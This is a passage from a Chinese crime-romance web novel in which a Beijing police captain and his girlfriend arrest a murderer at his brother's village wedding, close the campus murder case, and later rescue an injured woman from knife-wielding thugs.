两家离得很近,虽然车开得不快,十分钟之后,也就到了。 和莘家差不多的一户人家,有人在院子门口看着,门上,也贴着大红喜子。 “来了来了。” 那边有人在喊,新郎官来了。 呦,还有车呢。 车停下,楚隽和安暖都下了车。 来接亲的人将一拥而上,往院子里跑去。 两人混在人群里。 他们不认识莘志高,但是看见过邰天纵的照片,能认出邰天纵。至于莘志高,只要在院子里,就好认。 新娘家的人和新郎家的人,还是不一样的。 两人进了院子的门,立刻在人群中搜寻起来。 果然,一个男人挤了过来,跟莘志高父亲说话。 吵闹中,楚隽也听见他问:“爸,哪来的车接亲啊?” 莘志高只有兄弟俩,除了新郎,第二个喊爸的,就是莘志高。 莘志高父亲说:“是天纵从京市来的同事,我借的人家车,帮我们长长脸。” 楚隽立刻就走了过去。 邰天纵也在一旁站着,闻言奇怪地抬头看过来。 他想不出能从学校过来找他的是什么人。 看见楚隽之后,邰天纵的脸色奇怪了一下。 张少华尸体发现的第二天上午,楚隽去了庄致轩所在的宿舍楼,虽然没有见所有人,但因为他的宿舍和庄致轩靠在一起,所以,他也见到了楚隽。 他知道楚隽的身份。 京市市局刑警队队长。 可不是他的同事。 楚隽千里迢迢追来了这里,这是出事了! 但邰天纵只来得及心生疑惑,还没来得及问出他心里的疑惑,一旁的莘志高已经变了脸色。 “爸,我去下厕所。”莘志高低声说了一句,转身就要走。 这简直是此地无银三百。 楚隽快走一步,一把就抓住了莘志高的胳膊。 这一下,虽然没有直接按到在地,但是也用上了力气和手段。 莘志高顿时觉得胳膊一麻。 “楚队。”邰天纵立刻道:“这是做什么?” 他们站在院子的角落里,莘志高父亲刚才被亲家叫走了,一时间,倒是没人发现他们的不对劲。 安暖进了院子,第一眼看了莘志高,第二眼,却是去看新娘子。 她在刚才看见礼单之后,心里就有一点疑惑,这会儿要求证一下。 礼单上写着的三金,虽然合理,但是不合莘家的家庭条件。而且,三金是在礼单最后的,字迹的深浅也和前面的有一些细微差别。好像是后来加上去的。 连电视洗衣机都买不起的人家,怎么会突然就有了三金? 新娘子打扮了一番,一脸羞涩地站在院子中心。 她和新郎官算是自由恋爱,情投意合,嫁给他,十分高兴。 今天来接亲,竟然莘家还接到了汽车,更是高兴,眉眼都是笑。 安暖是个女孩子,往新娘子身边挤一挤也没什么关系,她就真的往前挤了几步,看清楚了新娘子的打扮。 新娘子的手握在胸前,戒指看不见。 但是能看见项链,项链是细细的一条。 能看见耳钉,耳钉是个精致的五瓣梅花。 安暖只看一眼,立刻转身,大步往回走。 “楚隽。”安暖只喊了一声,然后给了楚隽一个眼神。 楚隽立刻从腰后摸出手铐,在莘志高的惊恐中,咔嚓一声,就拷在了他的手腕上。 莘志高此时慌乱已经藏不住了。 根本就来不及挣扎,第二只手也被拷住了。 但楚隽接下来做的事情,更让他意外。 楚隽反手脱下了自己的外套,搭在了莘志高手腕上。 这样别人就看不见他的手被手铐拷住了,还以为他只是手上拿着件衣服呢。 “你是什么人?”莘志高也不敢喊,只敢低声急促问了一声。 “楚队,楚队。”邰天纵也焦急的低声道:“这是怎么回事,是不是有什么误会?” 安暖已经挤了过来。 “莘志高。”安暖说:“新娘子身上戴的黄金首饰,是你从张天话身上抢走的吧?” 莘志高顿时面如死灰。 邰天纵的脸色也好不到哪里去。 楚隽冷声道:“莘志高,我是京市市局刑警队队长楚隽,现在怀疑你和一起命案有关。如果你不想影响你弟弟的人生大事,就别出声,我可以暂时帮你隐瞒。” 他肯定是要把人带走的,但可以有人情味一点。 不强行带走,不闹的人尽皆知,只让核心几个人知道就行了。 “你,你胡说。”莘志高还想挣扎一下:“我不知道你在说什么?” “别装了。”安暖道:“新娘子身上的三金,是今年鸿福珠宝出的新款,要会员才能买。你可别说,你可别说,你是他们的会员。” 就是这么巧,她前几天刚去逛了这个专柜,也看见了这几款黄金首饰,听了柜员介绍。 只有张少华,有钱又游走在女人堆里,才会有这身份。 他那天是去找曹红霞求婚的,身上带着一套黄金首饰,天经地义。 第203章 校园鬼影,不要骗婚 这边手铐都已经上了,那边喜气洋洋闹哄哄,新娘要出门了。 楚隽的意思,在人家结婚的时候抓犯人,尽量低调,别影响了人家的婚事。毕竟一码归一码。 但是安暖却犹豫了一下。 “楚隽。” “嗯?” 安暖说:“这事情,非得瞒着吗?” 楚隽不解:“怎么了?” 安暖说:“虽然已经在接亲了,但新娘子还没接走,这婚礼仪式,应该还没成吧。” 在这个年代的乡下,仪式往往比结婚证更重要。 不管领没领结婚证,亲戚朋友间一套流程都走完,新娘子上了门,这就是结婚了,大家认可的婚姻关系,这是事实婚姻。 如今,新娘子还没出门,一切都还能回头。 楚隽低声道:“你的意思……” “对。”安暖飞快道:“我知道你是好心,不想在人家大喜的日子添堵。但你有没有想过,新娘是有知情权的。如果莘志高是凶手,整个家庭都会受到影响。新娘要是知道不介意,那是他们感情深无可厚非。可已经发生了的事情,隐瞒不说,这是骗婚!这是推人下火坑。” 楚隽很意外,他没想过安暖看问题的角度,和他是截然不同的。 别说什么夫妻应该同甘共苦,事实就是,谁愿意嫁给杀人犯的兄弟?今天新娘子进了门,再抽身就来不及了。 这个年代离婚是一件很难的事情,是要被人戳着脊梁骨骂的。特别是女人,一个女人要是离了婚,这辈子就算毁了一半了。 莘家若是不知道莘志高的所作所为,他弟弟固然可怜。可这可怜,并不是牵扯另一个无辜女子下水的理由。 莘志高一听这话,着急道:“不行。” 楚隽冷冷看他:“这么说,你承认自己就是凶手了?” “什么凶手?”莘志高胡乱道:“我不知道,什么都不知道。你不要乱说。” “你放心,不是你做的,自然不会冤枉你,也不会从京市来找你。现在希望你协助调查。”楚隽拽着他的胳膊:“邰同志,麻烦你叫他父亲过来一趟。” 莘父正满面红光在和亲戚聊天,邰天纵转头一看,只觉得一脸苦涩。 这话可怎么说得出口啊。 他心里现在惊涛骇浪,有些猜测,又不敢往深处猜。 楚隽一把拽着莘志高,往车上去。 邰天纵赶紧去找了莘志高父亲。 他忐忑地到了车边。 莘志高已经被拷在了车上,不管新娘子还愿意不愿意嫁,今天这车,是没办法帮忙接新娘了。 莘父上了车,一脸茫然又惊恐。 “楚同志,这是怎么了?” 楚隽出示了证件。 “你不是天纵的同事?”莘父还在云里雾里。 “不是,我是来查案的。”楚隽说:“现在有一些事情,需要和你求证一下。” 莘父虽然没有见过大世面,但看楚隽这气势,再看看邰天纵的严肃模样,知道他不是乱说的。 邰天纵是见过大世面的,显然今天不是第一天见楚隽,是知道他的身份的。 “楚,楚队长,你说……我家老大,他犯事儿了?” 莘父说着,担心的往车里看。 车窗关着,虽然看得见,但是说不上话。他也不敢开门进去。 莘志高被塞进车里之后,手上搭着的衣服就被丢在了一旁,他的手虽然垂在下面,但是仔细看,能看见手铐的一角。 莘父心里噗通乱跳,七上八下。 楚隽道:“现在还不能说什么,我问你几个问题,你如实回答就行。” 莘父忐忑点头。 楚隽道:“莘志高这次从京市回来,是不是带了一大笔钱。” “也……也没有多少。”莘父说:“这孩子孝顺,经常给家里钱。回来当然也会给家里钱。这次弟弟结婚,他也出了不少力,确实带了一些钱回来。” “有多少?” “给了家里,五百块。” 莘父伸出五个手指头。 五百块可不少。 楚隽道:“莘志高在外面做木工,赚的钱多吗?” “还,还可以。” “具体有多少?” “不一定。”莘父说:“他们工作不是固定的,有生意的时候就多赚点。没生意的时候,就少赚点。有时候四五十,有时候一百多,不一定的。” “那他每个月往家里寄多少钱。” “不一定,有时候三十,有时候五十。”莘父说:“如果赚得多,也会多给点。如果赚得少,就不给。” 听起来也不少,有一门手艺在身,这可比面朝黄土背朝天在地里讨生活要好得多。 “新娘子身上戴的三金,也是莘志高给的吧?” “是。” 莘父也未必想说实话,但是这种事情根本瞒不住。 一个家庭明面上的收入是很好查的,种地的,多少地,大概卖了多少粮食。打零工的,一般去哪儿,一天多少钱。上班的就更简单了,一个月工资多少。花费多少,剩余多少,大差不差的就那些。 要是突然多了一笔钱,那就是巨额财产来历不明了。 不是几百万,几千万才叫巨额财产。 一个家庭每个月收入一百,突然来了一千,这也是巨额财产,也要有个说法的。 楚隽道:“莘志高每个月寄回来的钱也不少,但我看你们家的条件似乎不太好。有什么额外的开支吗?” “他,他也就是这两年才在做木工。”莘父说:“家里的条件,也是这两年才稍微好点。这孩子,这孩子以前爱玩,这两年才定下心……” 莘父说着,眼泪不知道什么时候就下来了。 楚隽道:“他以前爱玩?你具体指的是什么?” “也没什么,就是年轻人爱……爱玩,怕累,不想上班。”莘父含糊道:“也没有什么,村子里有挺多年纪差不多的小子,都是这样。” 楚隽明白了。 莘志高这两年在做木工,但之前,恐怕是个游手好闲,无所事事的人。 这种人在村里不能说挺多,但确实每个村都有,或者说,每个地方都有。 他们俩在这说话,那边算算时间,吉时到了,新娘子要出门了。 第204章 校园鬼影,其实你们心里有数 有人想过来问一声,但是安暖挡住了他。 众人都开始着急起来,这吉时错过了,可不吉利。 好在楚隽这边已经问清楚了。 楚隽还说了句很实在的话。 “今天这婚礼,我建议还是延后的好,这事情若是不查清楚,你们家的喜宴应该也办得不踏实。” 莘父回头看了一眼一院子的人,叹了口气。 他咬牙跺了跺脚:“我明白。” 警察都找上门了,这婚礼今天肯定是办不下去了。就算是勉强糊弄过去了,一旦东窗事发,亲家一定会觉得自己家是骗子。 都在一个村子里,这名声就彻底坏了。 倒不如敞亮一点。 在这一点上,莘父的脑子还是清楚的。 当下他就去找了亲家,说了一下情况。 当然,详细的情况是不能说的,只说出了点事,婚期要延一延。 虽然大家都觉得很诧异,可是这种事情谁也不会开玩笑。来参加婚礼的也有村里的干部,楚隽也和他们知会过了,于是在忐忑的心情下,人渐渐散了。 最无辜的是新娘子。 其他的聘礼楚隽都不管,但是已经戴在脖子手指上的三金,必须先摘下来。 这很可能是张少华的东西,需要带回去检测。 如果安暖没有看走眼,这一套首饰莘志高就根本无法解释。 新娘子从身上取下三金的时候,表情非常复杂。 安暖接了过去,对着光仔细的看了一下。 品牌的首饰上,是有钢印的。不但有品牌的名字,还有成色。一看便知。 安暖看了一下,找到了钢印的位置,指给楚隽看。 她果然没看错。 几个村干部走了过来,楚隽让他们在车外守着。 这是村里,又不是自己的地方,莘志高很有可能跑,并且,莘家也有可能帮着他跑。跑了就麻烦了,必须找几个本地人来协助。 然后去莘志高的房间检查一下。 这里离京市太远了,能自己做的事情,就自己做了。也不至于非要叫人再跑一趟。 等他打电话回去,江笑愚再带人过来,太费时间了。 楚隽从莘志高的房间,他的行李里,搜出一千五百块钱,还有一块手表。 手表不是特别贵的,但也要两千多,是一个小牌子。 莘志高一个月收入几十偶尔上百的木匠,在外面打了两年工,还要往家里汇款。按理说是无论如何也买不起这块手表的。 楚隽将钱和手表都拿了,走出了门。 莘家的人就坐在堂屋里,见他出来,一起看他。 楚隽说:“不好意思各位,我要把莘志高带回去,配合调查。等调查有了结果,会通知你们的。” 莘志高母亲已经在一旁哭过一轮了。 今天本是高高兴兴的大喜日子,披红挂绿,张灯结彩的。 可这是怎么回事?怎么就突然出了这个问题呢。 “我家志高,不会干坏事啊。”莘母拽着一旁安暖的袖子。 安暖抽出了袖子。 “莘志高只是一个木匠,收入和支出,你们心里也有数。”安暖说:“他不过工作两年,又拿钱给弟弟结婚,又拿三金,难道你们心里就一点没想过,这钱是哪里来的吗?还是因为需要这笔钱,所以只要他能拿出来,就用着,不想考虑太多?” 莘母一下子被问住了。 安暖这话说的,是有点犀利了。 刚才她就想说。 莘家未必真的一无所知。 一般来说,家里有某人突然有了一大笔钱,家里人心里多少是有点数的。只不过这个钱给家庭做了风险,就睁一只眼闭一只眼。 当然,莘志高的家人就算是想到了这笔钱可能来的不是那么清白,也想不到杀人这上面。要是能想到这上面,未必敢隐瞒,也可能早就劝莘志高远走高飞了。 楚隽要将莘志高带走,顺便带走了邰天纵。 邰天纵是知道内情最多的。 别人都不知道清大的命案,只有他知道。看见楚隽从京市那么远来找莘志高,立刻就将两者联系在了一起。 上了车,还是安暖开车。 邰天纵坐在副驾驶,楚隽和莘志高坐在后座。 邰天纵不时的从后视镜看后面的情况,一路硬是没敢说话。 下午三点,回到警局。 直接去了审讯室。 之前他们一直有种,所有出现在案子里的人都不太对劲儿的感觉。虽然出现在案子里,但又像是没关系。 一直到莘志高的出现。 终于把之前的各个怀疑的细节都给对上了。 工作中会接触粗麻绳,对学校不熟悉,突然有一笔钱,有不属于自己的金饰品,可能去过庄致轩的房间,接触过他的项链。也有力气,可以勒死张少华。 所有的线索,终于指向了同一个人。 当钱和金饰摆在莘志高面前的时候,他终于没有办法狡辩了。 莘志高给自己弟弟娶媳妇用的这一套首饰,外行看门道,对不懂的人来说,就是黄金,做工细致,好看的黄金首饰。和家里传下来的那些也没有太大区别。 但对懂行的人来说,是有牌子的。有牌子就能查到源头。 整个京市,也就只有两家大商场有这个牌子的专柜。 每个专柜这一套金饰的到货量是有限的,这几天会员售出的数量,就更有限了。那是个位数。 江笑愚跑了两家店,拿着张少华的照片给营业员辨认,营业员几乎立刻就认了出来。 张少华确实是专柜的会员,就在被害的前一天,购买了这一套金饰品。 莘志高低下了头。 这一套金饰品,本是张少华要送曹红霞的,可是那日他刚说出结婚的想法,曹红霞的反应就特别激烈,让他一直没有机会拿出来。所以被路过的莘志高捡个漏。 傍晚,楚隽终于从审讯室里出来,拿着记录本。 “暖暖,这次要给你记个大功。”楚隽说:“要不是你发现了这套金饰,可能还要掰扯一阵子。” 钱不是实名制的,莘志高说不定还能负隅顽抗的狡辩一阵子。 这套几乎实名制的金饰品,成了压倒他的最后一根稻草。 安暖也挺高兴,她在京市难得的老乡庄致轩是无辜的,这真是个好消息。 第205章 校园鬼影,钱是好东西 莘志高松了口,这案子很快就弄清楚了。 在张少华被杀的前一天,他住在了清大边上的招待所里。去见过邰天纵之后,本来打算第二天和邰天纵一起坐车的。 可是到了半夜,他睡不着,一时兴起,便想去学校里晃晃。不过不要误会,他可不是为了感受浓厚的知识氛围,只是想看看有什么可以顺水推舟可以偷点东西。 莘志高虽然没去过清大,可是他这人手脚有点不干净,做木匠的时候是挺认真的,但私下喜欢捞东捞西。 就在他乱逛的时候,看见了正好跟曹红霞闹掰了的张少华。 张少华正躺在假山旁伤心,一副半睡半醒的样子。 他兜里露出了钱包。 张少华顿时就动了心。 只是张少华又不是喝醉了,只是睡着了。莘志高过来,一掏他口袋,他就醒了。 莘志高吓了一跳的同时,抬手就用随身携带的麻绳勒住了他的脖子。 张少华虽然是个男人,但做生意的,平时不做体力活儿,力气和女人比是可以的,和莘志高比就差多了。 搏斗中,莘志高将张少华勒死了。 庄致轩的那条项链,就是张少华去见邰天纵的时候,顺手摸鱼捞的。 他也看见了庄致轩抽屉里的钱,但是钱少,他没动心。只看中了那条项链,就顺手塞进了口袋里。 那项链庄致轩很久没带了,一直放在抽屉里,要不是这一出,都几乎忘了自己还有这么一条项链。 这对他,也算是无妄之灾。 所以当问他,这项链为什么会出现在命案现场的时候,他整个人都懵了。 莘志高勒死张少华之后,也有点慌了。但人杀都杀了,一不做二不休,干脆就将他身上所有的钱都搜罗了出来,然后打算藏尸。 他不可能将尸体带走,只能就近处理。 于是四下一看,看见了个山洞。 就像是之前楚隽推测的,莘志高第一次来这假山边上,哪里知道这山洞只有那么点浅。他撸起袖子就把人往里塞,没想到塞了一小半,塞不动了。 他开始还想着,将人塞进去之后,在外面要不要弄点什么东西遮掩一下。没想到根本就塞不进去。 本来就是激情杀人,之前也没有准备。莘志高一看这尸体短时间是找不到地方藏了,也不管了,直接就拿着钱和金银跑了。 出了学校,将钱包身份证明之类的丢了,钱和值钱的东西揣进自己的口袋,莘志高安安稳稳地回了招待所。 没人知道他晚上来过学校。 他去的时候就想着要捞点什么,所以早就带好了工具,戴好了手套,因此在现场什么痕迹都没有痕迹。 真相大白,庄致轩和曹红霞都被放了出来。 意外的是,曹红霞收到一个信封,里面是一万块钱。 这可是一笔巨款了。 曹红霞拿着钱,十分意外:“这是谁给我的?” 和钱一起的,还有一封信。 曹红霞拆开信看。 这是张少华的前妻给曹红霞写的信。 张少华这些年赚了不少钱,虽然外面女人不断,但都是露水情缘,逢场作戏,没有留下其他孩子。 张少华又是独子,没有兄弟姐妹,如今张家,只留下了跟着前妻的一个孩子。 他的遗产,一部分是父母的,一部分,就是这孩子的。 虽然前妻已经离婚,离婚的时候已经分割了财产,现在不能再分张少华的财产。但是给孩子的那些,也等于是给了他。 而且,张少华父母这个年纪了,拿到那一大笔钱,也未必花得了。剩下的,还是要给孙子。 就算他们和前儿媳妇水火不容,可孙子总是亲的。 这笔钱,就是张少华前妻补偿给曹红霞的。 曹红霞拿着信封,第一反应是不要。 这钱对她来说,是屈辱。 但安暖将她拽走了,要跟她聊一聊。 本来是应该楚隽跟她说这些的,但是楚隽想着,同姓之间比较好沟通一点,干脆让安暖去跟她聊了。 安暖会说话,很靠谱。 虽然不是正式人员,但大家都认可,她是楚隽请来的特别顾问。 安暖将曹红霞带进楚隽办公室,给她递上一杯热茶。 “曹同学,楚队安排我,有几句话,要跟你说。” 曹红霞点了点头。 “我知道你为什么不要这笔钱,因为这对你来说,是一件耻辱的事情。” 曹红霞紧紧的握着杯子,不说话。 安暖道:“但事情已经发生了,咱们就要面对现实。现在张少华已经死了,所以想要将他绳之以法,已经没有意义了。在学校里,我知道你不想声张,所以,最好是当做没这件事情。你就当他是前男友,结束了就结束,不要扰乱你余下的人生。” 现实里,曹红霞想要摆脱这样一个男人,是很麻烦的。 可现在张少华死了,简直是如有天助,直截了当解决了所有的麻烦,永绝后患。 所以曹红霞的心理,现在不想和张少华扯上一点关系。 “我知道。”曹红霞低声说:“谢谢你,谢谢你们。” “不用谢。”安暖说:“这都不是重点,重点是,我是来劝你,收下这笔钱的。” “为什么?”曹红霞有些屈辱地抬头:“你觉得我是……是喜欢张少华的钱吗?” “不,人是垃圾,可钱永远是钱,只要这笔钱来得正当,就没有不要的理由。”安暖说:“按道理和法律,他也应该给你赔偿。但是我和楚队给你算过,即便是申请赔偿,金额也不会有这么多,而且时间长手续繁琐,还要你出面,对你来说,无异于一次一次地揭开伤疤。” 这案子的重点是,张少华已经死了。 死了,不管是什么罪,都一笔勾销了。再多的恨,也不能把死人抓出来鞭尸。 曹红霞立刻道:“我可以不要钱。” “为什么不要钱?”安暖一副过来人的样子,摸摸曹红霞的头发:“傻姑娘,有这样一笔钱在身上,你未来的日子,会过的好得多的。无论做生意,做学术,嫁人,都是你的底气,人干嘛要和自己过不去呢?” “可是……” “就当……被狗咬了一口,这是狗主人给你的赔偿?” 第206章 月下 安暖和曹红霞从房间里出来之后,曹红霞整个人的状态都要好了一些。 她将钱揣了起来。 已经发生的苦难,没有人能让时光倒流。我们能做到最好的,是做对余生最有利的选择。 这不是功利,是为了更好活着做的努力。 送走曹红霞之后,安暖跟楚隽说:“楚队,我想送庄致轩回学校,他这次也是无妄之灾,怪倒霉的。之前他还帮了我,这次我也没能帮忙做什么。” 楚隽看了看时间,拿起外套。 “我陪你一起吧。”楚隽说:“正好也差不多时间下班了,我们送庄致轩回学校,在学校边上请他吃个饭。这是你在京市难得的熟人,我也想和他熟悉一些。” “好。” 安暖挺高兴的。 庄致轩这一趟虽然郁闷,但这事情弄清楚了,自己确实是无辜的,也松了一口气。 他当然不会对楚隽和安暖有什么怨言,又不是他们冤枉的自己,只是公事公办罢了。而且在警局这两天,安暖还给他送了饭,也算是力所能及的照顾吧。 “不必送我回去。”庄致轩说:“我自己坐车回去就行。” “不止是送你回去,还想请你吃顿饭。”安暖笑道:“上次你给我找了那么多书,说好了要请你吃饭,谢谢你的。” 庄致轩怪不好意思的,但也不好拒绝安暖的好意。 出门上了车,楚隽说了一声,先转去了三室套。 他上了一趟楼,从上面拎下来几个盒子。 安暖挺奇怪的:“楚隽,你拿了什么东西?” “一点心意,给庄老师的。”楚隽说。 庄致轩一听,连忙拒绝。 “只是一点心意,不值什么钱的。”楚隽说:“我听暖暖说过,你是她儿时的邻居哥哥,从小对她很照顾。你之前来了京市,咱们也不认识。现在认识了,以后若是有什么困难,都可以找我。我在京市还是认识一些人的。” 楚隽这么说是很谦虚了,他何止是认识一些人啊,他是认识相当多的人啊。 庄致轩客气了一番。 车里充满了团结友爱的气息。 当下,楚隽开车将庄志轩送回学校,就在学校边上,让庄致轩介绍了一家饭店,大家吃了顿饭。 庄致轩这次也算受到了惊吓,理应大吃大喝,压压惊。 庄致轩没那么多钱,又知道是楚隽请客,当然不会找贵的地方,于是带他们去了自己和同事常吃的一家小饭店。 “今晚我请客。”楚隽进门的时候就又重申了一遍:“庄老师千万不要和我客气,随便点。” 安暖连连点头。 其实更适合她请,但是楚隽要掏钱就让他掏吧,不跟他抢着付账。 庄致轩也不客气,点了七八个菜,摆了一桌。 几人坐下,庄致轩问:“楚队喝酒吗?” 吃饭嘛,光吃饭总觉得少了点什么,喝一点点酒,有气氛一点。 安暖当下说:“你们喝,我开车。” 可惜这年代没有代价,不然的话,她也可以喝一点点。 也不喝多,楚隽要了两瓶啤酒,要的就是个气氛。 当下几人就一边吃一边喝一边聊了起来。 庄致轩不好直接问楚隽太私人的问题,于是问了另一个他关心的事情。 “小安,你之前说要考试,怎么样了?” “挺好的。” 安暖很得意,当下巴拉巴拉巴拉,把自己的光荣战绩说了。 庄致轩听的也十分惊叹,听着听着,也认真的问起了,你要考虑考大学,考我们学校吗? 但是被安暖义正言辞的拒绝了。 一顿饭吃到晚上九点,酒足饭饱。 庄致轩就先回学校了,楚隽说:“今天天气好,我们送庄老师回去,然后慢慢散步过去取车,也消消食。” “好。” 学校这边景色不错,两人牵牵手散散步聊聊天,也算是约会吧。 这段时间都挺忙的,也没有什么时间过二人世界。 安暖还好一点,对楚隽这种刚有女朋友的壮年小伙来说,其实更难熬。 得亏有高尚的道德和强大的素质,要不然的话,安暖十分危险。 将庄致轩送进学校,约好了有时间再聚,两人便往回走。 九点半,街上的人已经很少了,两人也不在大马路上走,只靠着街边,就想走那阴暗不见人的地方。 楚隽其实喝的一点都不多,但走着走着,觉得自己有点晕,将脑袋靠在安暖肩膀上。 但他又比安暖高出一截,有一种大型犬强行装乖的感觉。 男朋友撒娇怎么办,只好哄一哄了。 安暖一边努力往前走,一边转过头去,刚要哄,不提防楚隽侧脸的时候,楚隽也突然侧过脸来。 嘴唇擦着嘴唇,尝到了淡淡的酒味。 楚隽挺得意,还意犹未尽,往前拱了拱。 “你……”安暖捂着自己的嘴:“你别乱来,一会儿我也开不了车了。” 那种,男女朋友一方喝了酒,和另一方接吻,结果两个都被查酒驾的事故,楚隽估计没听过。 楚隽用他醉的并不厉害的脑子想了想,觉得好像有点道理,于是十分无奈的放弃了这样那样的想法。 开车就是麻烦,难道要配个司机吗? 两人就这么往前走,突然后面传来一阵叫喊声。 有人追逐着跑了过来。 两人一起往后看去。 楚隽是警察,在外面碰见了不平的事情,是有义务要管的。 听着声音,有男有女,四五个人的脚步声。 如果是有人混混喝多了欺负小姑娘呢,这事情他绝对不能袖手旁观。 刚才还晕晕乎乎的楚隽,顿时就清醒过来了,瞬间醉意全消。 果然有几个人往这边跑来,前面的人跑的很快,虽然月色昏暗,还是能看出来,是个姑娘。 “救命……” 前面的姑娘边跑边喊。 后面追着的人也在喊。 “别跑,站住……” 这一片虽然谈不上荒凉,但没什么人,这姑娘眼见着就要被追上了。 楚隽站在原地没动,不过对安暖说了一声:“你稍微躲一下。” 对方人多,但楚隽不放在眼里。只是安暖不能打,别误伤了。 第207章 血光 安暖特别不拖后腿,楚隽话音刚落,她就蹭的一下躲到了一旁的巷子里。 楚隽身手好,这样的小混混,一个打八个都不成问题。何况他还有枪,不可能吃亏的。 不过她还往前看了看。 现在离他们停车的地方已经不远了,如果看着这边情况不对,她就赶紧过去。开车回来横冲直撞一番,再不济也能把人救走。 虽然现在的治安没有她那个年代好,但这可是首都,也不至于那么乱。 安暖安心的躲在黑暗中,露出一只眼睛看。 转眼那些人就已经到了面前。 被追赶的是一个二十七八岁的姑娘,看穿着打扮,倒是很时尚,而且还是冷峻风。 姑娘扎着高马尾,一身黑色。 里面一件黑色紧身背心,外面一件黑色长袖。穿着紧身牛仔裤。 这打扮,别说八十年代,放在那个年代也不落伍,至少看起来比安暖时尚多了。 但是她被追赶的有些体力不济,喘着粗气。 身后的四个人,都是年轻男人,看见陌生人后,手往背后藏了藏。 安暖借着月色,明显看见一抹亮色。 是刀。 这几个混混带了凶器。 但安暖没说话,只是把自己藏得更深。 现在要是有手机,还能打电话叫个支援,又没有手机,她能帮上最大的忙,就是不出现不拖后腿。 姑娘脚步有些踉跄,但似乎并不打算求助。 她只是在路过的时候,抬头很随意的看了楚隽一眼。 一个普通男人,是对付不了四个带刀的混混的。如果对方都已经嚣张到了公然在路上持刀伤人的地步,当然不会因为路上一个陌生的管闲事的好人而离开。 只会连累了路人。 但姑娘看见楚隽的一瞬间,脸色就变了。 楚隽是背对着巷子的,安暖看不见他的脸。 但是她一眼就看出来了,这姑娘,认识楚隽。 几个混混也到了。 楚隽一步就挡在了他们面前。 “你们干什么?”楚隽厉声道:“光天化日持刀行凶,是没有王法了吗?” 楚隽没有穿警服,混混可不认识。 几个人站住,为首的一个瘦高个冷笑一声:“呦,胆子挺大。小子,别管闲事赶紧走。” “既然碰上了,我就管定了。”楚隽伸手将姑娘挡在身后:“你们几个当街砍人,我看是想蹲局子了吧?” 几个混混大概也少见楚隽这样的看见几个人几把刀还不害怕的狠角色,也有些嘀咕。 但是看看自己这边人多有刀,又看看楚隽那边,觉得怎么也没有怂的道理。 四个对一个,要是这都怂了的话,那该多丢人。 当下,瘦高个亮出了手里的刀。 “你既然给脸不要脸,就别怪我了。” 他抬手就砍了过来。 楚隽轻松侧身便躲过了,一把抓住他的手腕一拧。 瘦高个发出一声惨叫。 哐当一声,刀落了地。 剩下几个人一看楚隽竟然是练家子,顿时就懵了。 瘦高个捧着手,忍着痛直跳脚:“都愣着干什么,给我砍死他!” 剩下几个你看看我,我看看你,心里发慌。 楚隽冷笑一声,弯腰捡起瘦高个落在地上的刀,猛地转身向一旁的一个人砍去。 那人猝不及防整个人都吓傻了,别说还手,躲都不知道怎么躲,只知道呆呆的看着他。 闭着眼睛瞎胡乱砍,和有目标有姿态的劈坎,那是完全不一样的。 刀落下带着雷霆之势,就在大家都以为下一秒他就要脑袋开花的时候,楚隽收了手。刀锋离下面的脑袋不过一指。 杀伤力不大,威慑力巨大。 当下,那人啪叽一声就坐了下来。 尿没尿裤子不知道,反正差也差不了多少。 瘦高个一看这不对啊,楚隽肯定不是普通人,不是他们四个能拿下的。今天这人是抓不了了。 他还挺能屈能伸,立刻道:“跑!” 两个没动手的转身就跑,走的速度比来的速度不遑多让。 瘦高个还挺讲义气,一把拽起了坐在地上瑟瑟发抖的人。 但楚隽在,不可能让他们就这么跑了的,至少要抓一个问问情况。 他正要伸手去拽,却被人拽住了。 是刚才救下来的那个姑娘。她死死地抓住了楚隽的手,血顺着胳膊往下流,将楚隽的胳膊都染红了。 眼见着她就要往下倒,楚隽自然一把扶住她的肩膀。 “救……我……” 姑娘说完,就昏了过去。 楚隽赶紧将人搂住。 这一分神,几个小混混便跑了。 安暖连忙从巷子里跑了出来。 楚隽晃了晃那姑娘,喊道:“许醉,许醉。” 安暖心道,果然认识。 不过楚隽在京市长大,又是这个职业,认识的人多,很正常。又不是大门不出二门不迈的人设。 许醉已经昏了过去,没有回应。 楚隽将人打横抱了起来,对安暖喊道:“快,去开车,送医院。” 安暖莫名的觉得,楚隽对这姑娘的紧张和对别人有点不同,但现在这救命时刻,自然不会多说一句话。 她拿着车钥匙小跑在前面,很快就上车发动。 正好楚隽也到了,打开后车门,将人放了上去。 啪的一声关上车门,楚隽说:“去最近的医院,直走左转。” 安暖是个老司机,夜里路上也没人,汽车嗖一声就冲了出去。 开车的间隙,安暖往后看了一眼。 只见楚隽毫不犹豫地脱下外套,又利落扯下背心短袖,当做绳子,扎在了许醉的手臂上方止血。 “许醉,许醉。”楚隽喊了两声,言语中都是焦急。 许醉有些模糊的意识。 “别睡,你醒醒。”楚隽不停的唤醒。 二十分钟后,车到了最近的一家医院。 安暖将车挺稳后,打开了车门。 楚隽抱着人冲进了医院。 好在医院处理这种情况驾轻就熟,很快就将人送去了急诊。 安暖这才松一口气。 以她的经验判断,没大碍。 估计就是因为外伤造成的大出血,再看她的衣服,血迹最多的就是肩膀胳膊,其他地方都是沾染上的血,应该没有更严重的外伤。 人躺在急诊病床上处理伤口的时候,就醒了一下。 许醉睁眼看见楚隽,脸色微变。 第208章 一巴掌 许醉现在的状态当然不好,但是,楚隽的形象也好不到哪里去。 两人都是一身的血,甚至楚隽身上的血,比许醉还要多一点。他还光着膀子。 安暖一看这也不太好,走过去说:“我去给你拿件衣服。 车上有衣服。 楚隽点了点头。 安暖转身就去拿衣服了,动作很快,几分钟就回来了。 刚走到急诊室门口,就听见清脆一声响。 安暖惊呆了。 站在门口,门是半开着的,她清清楚楚的看见,许醉抬起没有受伤的那条胳膊,狠狠的给了楚隽一巴掌。 楚隽脸被打得一偏。 “滚。许醉寒声道:“不用你假惺惺,我们早就结束了,你这个懦夫! 楚隽身上气压低得可怕。 但是他没有生气,只是用手背蹭了一下脸,然后站起了身。 “你别自作多情了。楚隽冷哼一声:“就是一个陌生人倒在我面前,我也会拉一把的。倒是你,我劝你好自为之,下次再碰上这样的事情,可就没那么好运气了。 说完,楚隽弯腰拿起床上那件染了血的长袖,走出了病房。 正好和安暖四目相对。 多少有一点尴尬。 安暖先打破了沉默:“那什么……要不要给她办住院手续? “不用。 安暖又往里看了一眼。 许醉躺在被子里,只能看见半张侧脸。 她脸色苍白,望着天花板,不知道在想什么。 楚隽已经往外走了,说不留,是真不留,一点儿也不犹豫。 安暖更奇怪了。 楚隽这一次,有一点绝情了。 两人离开医院,上了车。 